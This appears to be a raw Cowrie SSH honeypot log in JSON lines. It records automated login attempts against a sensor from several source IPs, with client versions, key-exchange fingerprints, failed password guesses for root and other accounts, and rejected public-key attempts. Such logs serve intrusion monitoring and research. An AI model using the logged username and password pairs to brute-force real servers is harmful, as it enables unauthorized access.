{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:52.461194Z","src_ip":"91.92.42.227","session":"42e1ef891e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:54.703994Z","src_ip":"91.92.42.227","session":"42e1ef891e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56292,"dst_ip":"10.17.0.5","dst_port":22,"session":"7237ffce18c3","protocol":"ssh","message":"New connection: 91.92.42.227:56292 (10.17.0.5:22) [session: 7237ffce18c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:56.183472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:56.552232Z","src_ip":"91.92.42.227","session":"7237ffce18c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:56.554937Z","src_ip":"91.92.42.227","session":"7237ffce18c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:58.084614Z","src_ip":"91.92.42.227","session":"7237ffce18c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:59.465617Z","src_ip":"91.92.42.227","session":"7237ffce18c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.91.141","src_port":58956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4bf95e83f3","protocol":"ssh","message":"New connection: 198.38.91.141:58956 (10.17.0.5:22) [session: 5c4bf95e83f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:01.029723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:01.033943Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:01.258989Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:97:92:ce:11:74:57:b8:24:67:7d:28:73:cd:9f:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYoyzTbZkcqz3/mWap+aGynh2NtdGpEQXfmkoXAXfNJy3p+RnmT5BgjNW4DSf7mBU0AGHyZaZ7u76mgKUAVrNJTWW18GobKUplyyaMGxjIHEiQW4xPMJHIkvAD3ob8UlTPVNGLeFiqNgxzxR0BNxAXL/9UgnJC0AqpFqFco/INmMSDS25x+RTgOTPcihg+XcwTHHaSyoaSqpsU5JBPIlUY5J7j8eQnMMF1eh7j4w9ldchQNXrV0LU7Vpk7J6tATLS1pPSybLzApvmKF60X/aGePd3iYOo6Fzg1OnmlODR347MaPVVpSHVYhl2ufmdfPelCU5vrV9R5c/IOaoQIkek6rBO9wPs5EU1TxDj7e+6mNHRfTvhm2+POSabL+CyG+k47eagk0FM2v2bubmMfJtSAKx8//Fo3+KLujAg8kmTFLMVQbXdnK57YJxntbbpfZN96pwJTuQjpelNXpuScgmIR8n8jv4Z0jJyjzyTCNyzLNiYveRSQEtyoAWW3eLY9Yz8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:97:92:ce:11:74:57:b8:24:67:7d:28:73:cd:9f:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:02.371691Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:97:92:ce:11:74:57:b8:24:67:7d:28:73:cd:9f:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYoyzTbZkcqz3/mWap+aGynh2NtdGpEQXfmkoXAXfNJy3p+RnmT5BgjNW4DSf7mBU0AGHyZaZ7u76mgKUAVrNJTWW18GobKUplyyaMGxjIHEiQW4xPMJHIkvAD3ob8UlTPVNGLeFiqNgxzxR0BNxAXL/9UgnJC0AqpFqFco/INmMSDS25x+RTgOTPcihg+XcwTHHaSyoaSqpsU5JBPIlUY5J7j8eQnMMF1eh7j4w9ldchQNXrV0LU7Vpk7J6tATLS1pPSybLzApvmKF60X/aGePd3iYOo6Fzg1OnmlODR347MaPVVpSHVYhl2ufmdfPelCU5vrV9R5c/IOaoQIkek6rBO9wPs5EU1TxDj7e+6mNHRfTvhm2+POSabL+CyG+k47eagk0FM2v2bubmMfJtSAKx8//Fo3+KLujAg8kmTFLMVQbXdnK57YJxntbbpfZN96pwJTuQjpelNXpuScgmIR8n8jv4Z0jJyjzyTCNyzLNiYveRSQEtyoAWW3eLY9Yz8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:02.375311Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:16:6d:c0:9b:d2:16:36:4f:26:7a:c5:c0:58:06:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs3IkHzAe/VQNYvsGnzu6bdv4Zko/lWbR5IP1gWSqoQvq9NLCbrQ8y8v63FHOLp3HluTVQkS2P5LpqcomXWgXRUyqYYXnlKzCs8Zo5V439MU3a6HH7RtV/Rrxf1SeWUEGdYDBZvoWlvYVGmh2ouRUEu5VbOKgh+zcgSDkdK/d7egAQFvsnoEVKAqate373YgapRPhGGw7txX/gRYgxmdDDVZpvPSzhhLHDzQS2vkRqZ0zKGHpuQ+OV5obSQcz71KdPieZyfNOXSVMjo1JIYgxgpfMJBMnbsfShMLOdTsrK8WELTfY89OOkA2HI12jApCxKmtAHEnJfbNgz1XMXW6qCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:16:6d:c0:9b:d2:16:36:4f:26:7a:c5:c0:58:06:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:02.622565Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:16:6d:c0:9b:d2:16:36:4f:26:7a:c5:c0:58:06:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs3IkHzAe/VQNYvsGnzu6bdv4Zko/lWbR5IP1gWSqoQvq9NLCbrQ8y8v63FHOLp3HluTVQkS2P5LpqcomXWgXRUyqYYXnlKzCs8Zo5V439MU3a6HH7RtV/Rrxf1SeWUEGdYDBZvoWlvYVGmh2ouRUEu5VbOKgh+zcgSDkdK/d7egAQFvsnoEVKAqate373YgapRPhGGw7txX/gRYgxmdDDVZpvPSzhhLHDzQS2vkRqZ0zKGHpuQ+OV5obSQcz71KdPieZyfNOXSVMjo1JIYgxgpfMJBMnbsfShMLOdTsrK8WELTfY89OOkA2HI12jApCxKmtAHEnJfbNgz1XMXW6qCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:02.626216Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:0e:50:f6:8d:ca:08:67:e5:cc:9f:86:e4:b2:05:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSfaIjjqRTvQL76GSnIaAkNMgylAS6Vkbxjkp/DC9ua3fpKTTh3xD7Wi/YEkELpiPSxULyJyTXfNk300Wp0Jp/i6MhV1qjOh4aH1MlAmGm52tBzn67X4FbNNJ8VungD3/GSYvY/q2hseZLvE4fWe4RT/xvUjBZGACBPdXcfR5I//gU+XxLukRTEHPcPEQzoPL/Of5pObA9vi+vi+bedI5qcxvBSxIWZyd/hQuI19Arl3IQ0doleG4vP40On07bW5Q0Grs9W4fWa4DAjdtwWrt/uxjX/MbF/ij0E/RXsk+kcAr97+RGRVuvU9RmJpP2l+ePl7i9F6VyAL0YZgeEcRfR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:0e:50:f6:8d:ca:08:67:e5:cc:9f:86:e4:b2:05:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:02.853691Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:0e:50:f6:8d:ca:08:67:e5:cc:9f:86:e4:b2:05:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSfaIjjqRTvQL76GSnIaAkNMgylAS6Vkbxjkp/DC9ua3fpKTTh3xD7Wi/YEkELpiPSxULyJyTXfNk300Wp0Jp/i6MhV1qjOh4aH1MlAmGm52tBzn67X4FbNNJ8VungD3/GSYvY/q2hseZLvE4fWe4RT/xvUjBZGACBPdXcfR5I//gU+XxLukRTEHPcPEQzoPL/Of5pObA9vi+vi+bedI5qcxvBSxIWZyd/hQuI19Arl3IQ0doleG4vP40On07bW5Q0Grs9W4fWa4DAjdtwWrt/uxjX/MbF/ij0E/RXsk+kcAr97+RGRVuvU9RmJpP2l+ePl7i9F6VyAL0YZgeEcRfR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:02.856394Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:ea:9d:c1:c9:c2:96:bf:ec:c9:d6:ab:c4:51:8e:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChPPoaairOXrP13miQtNXKyAP7W4nyndNIFhJ4tclFe52hdmBi1r9T51u7WbyJD+LgEnIUDtZIZ6yimP8Y70rnyJEHpGuAfW+ZFMTT2WdGsGkHznBbmJFM1dskrt/XT++0p9+gh4mPYG/9eR+/uxpIBB58qIl5Ab3oTyGU5u/t8J+IfFwTv/I+ZYIebm2oe5m43+R6f0Hmd1EsL7WFXhbYWv9RYTD8iuwHLAnoA89jve9FQOOeJSzhI0/FUBe2keoZGqIgURmXE3PPxp0ezEXl1pifAJ2x3HQx1fD/9wgQkrPQ9XN2phyCSuuq4nx1xd+GucnXp9e6ImaqzZqTHH88WFJTlJKjXjTM60q55BdPVWNkLIDVlRk+yLnCdYIxImq7fI27r4+/WtdwGQkgggGRtDccs+sTjoQVy+AzrzmjbWxc/v0QCnbqu2v9dIuT4dvEn59mlHdYDU9sYo/4eZS4765RJyjWkup1QWLj/ebImUT+we8OYqK4MpVJ9gDZJyAAFjlOz1aAeebEQTKhzlucQiy2PHGxqRtdsFMD3qHPqI65ri/vrJZmj1t4WyYdtCG0SOiMMPpXtGVMYQXovT/8obPIG4JJeap+7V/Y4axBo0BmOxOmt0lEn8AOetIKDjKeRtW/POiyOf1ckPi0pNjAsZBj3moyY0CV8ERNQuSX/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:ea:9d:c1:c9:c2:96:bf:ec:c9:d6:ab:c4:51:8e:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.087193Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:ea:9d:c1:c9:c2:96:bf:ec:c9:d6:ab:c4:51:8e:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChPPoaairOXrP13miQtNXKyAP7W4nyndNIFhJ4tclFe52hdmBi1r9T51u7WbyJD+LgEnIUDtZIZ6yimP8Y70rnyJEHpGuAfW+ZFMTT2WdGsGkHznBbmJFM1dskrt/XT++0p9+gh4mPYG/9eR+/uxpIBB58qIl5Ab3oTyGU5u/t8J+IfFwTv/I+ZYIebm2oe5m43+R6f0Hmd1EsL7WFXhbYWv9RYTD8iuwHLAnoA89jve9FQOOeJSzhI0/FUBe2keoZGqIgURmXE3PPxp0ezEXl1pifAJ2x3HQx1fD/9wgQkrPQ9XN2phyCSuuq4nx1xd+GucnXp9e6ImaqzZqTHH88WFJTlJKjXjTM60q55BdPVWNkLIDVlRk+yLnCdYIxImq7fI27r4+/WtdwGQkgggGRtDccs+sTjoQVy+AzrzmjbWxc/v0QCnbqu2v9dIuT4dvEn59mlHdYDU9sYo/4eZS4765RJyjWkup1QWLj/ebImUT+we8OYqK4MpVJ9gDZJyAAFjlOz1aAeebEQTKhzlucQiy2PHGxqRtdsFMD3qHPqI65ri/vrJZmj1t4WyYdtCG0SOiMMPpXtGVMYQXovT/8obPIG4JJeap+7V/Y4axBo0BmOxOmt0lEn8AOetIKDjKeRtW/POiyOf1ckPi0pNjAsZBj3moyY0CV8ERNQuSX/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.091018Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56354,"dst_ip":"10.17.0.5","dst_port":22,"session":"4702ecd19614","protocol":"ssh","message":"New connection: 91.92.42.227:56354 (10.17.0.5:22) [session: 4702ecd19614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.112992Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:49:73:87:79:52:f0:37:e4:ec:d2:1b:8d:a2:db:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDEi14TrVfQJOZj7altiMzaGpbDlFppUVzVxFrb6KyJoUdkxZLqt5lO6aEVgEt7f+Blci/IiHCpuEwY5yjICfMuvsCH7506YT+T6HjaQe2RAMISCvyYIuwFa2QiAyaolb8JapZuBPqjTrnmHeuoQbuDFGX86zWmINlibi43zH/UxeuN+uL3IT29Ool4PdRzkVIXYCnOUQqMit0hwvTXs4Y91825ig0FTihrD3sRPYQ/r21OHZ3xTgmg8ehgPDeOBjSsa07dKHE4yL9AngQsdD0AYJ13pLGokbLRDmnTs0qLUPkpdvjGv/VOPSkGsoVwcYeAdkXDD6XjtcK5UFuRxib","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:49:73:87:79:52:f0:37:e4:ec:d2:1b:8d:a2:db:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.317902Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:49:73:87:79:52:f0:37:e4:ec:d2:1b:8d:a2:db:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDEi14TrVfQJOZj7altiMzaGpbDlFppUVzVxFrb6KyJoUdkxZLqt5lO6aEVgEt7f+Blci/IiHCpuEwY5yjICfMuvsCH7506YT+T6HjaQe2RAMISCvyYIuwFa2QiAyaolb8JapZuBPqjTrnmHeuoQbuDFGX86zWmINlibi43zH/UxeuN+uL3IT29Ool4PdRzkVIXYCnOUQqMit0hwvTXs4Y91825ig0FTihrD3sRPYQ/r21OHZ3xTgmg8ehgPDeOBjSsa07dKHE4yL9AngQsdD0AYJ13pLGokbLRDmnTs0qLUPkpdvjGv/VOPSkGsoVwcYeAdkXDD6XjtcK5UFuRxib","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.321694Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.456066Z","src_ip":"91.92.42.227","session":"4702ecd19614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.459741Z","src_ip":"91.92.42.227","session":"4702ecd19614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:03.549758Z","src_ip":"198.38.91.141","session":"5c4bf95e83f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49559473991394,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:05.558197Z","src_ip":"128.199.8.54","session":"ab077024bb86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:06.214324Z","src_ip":"91.92.42.227","session":"4702ecd19614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:07.848625Z","src_ip":"91.92.42.227","session":"4702ecd19614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47208,"dst_ip":"10.17.0.5","dst_port":22,"session":"a79908933c32","protocol":"ssh","message":"New connection: 91.92.42.227:47208 (10.17.0.5:22) [session: a79908933c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:09.630928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:10.613196Z","src_ip":"91.92.42.227","session":"a79908933c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:10.619681Z","src_ip":"91.92.42.227","session":"a79908933c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:14.136507Z","src_ip":"91.92.42.227","session":"a79908933c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55650,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6b582ccaa86","protocol":"ssh","message":"New connection: 87.251.64.176:55650 (10.17.0.5:22) [session: e6b582ccaa86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:16.550216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:40:16.555222Z","src_ip":"87.251.64.176","session":"e6b582ccaa86","protocol":"ssh"}
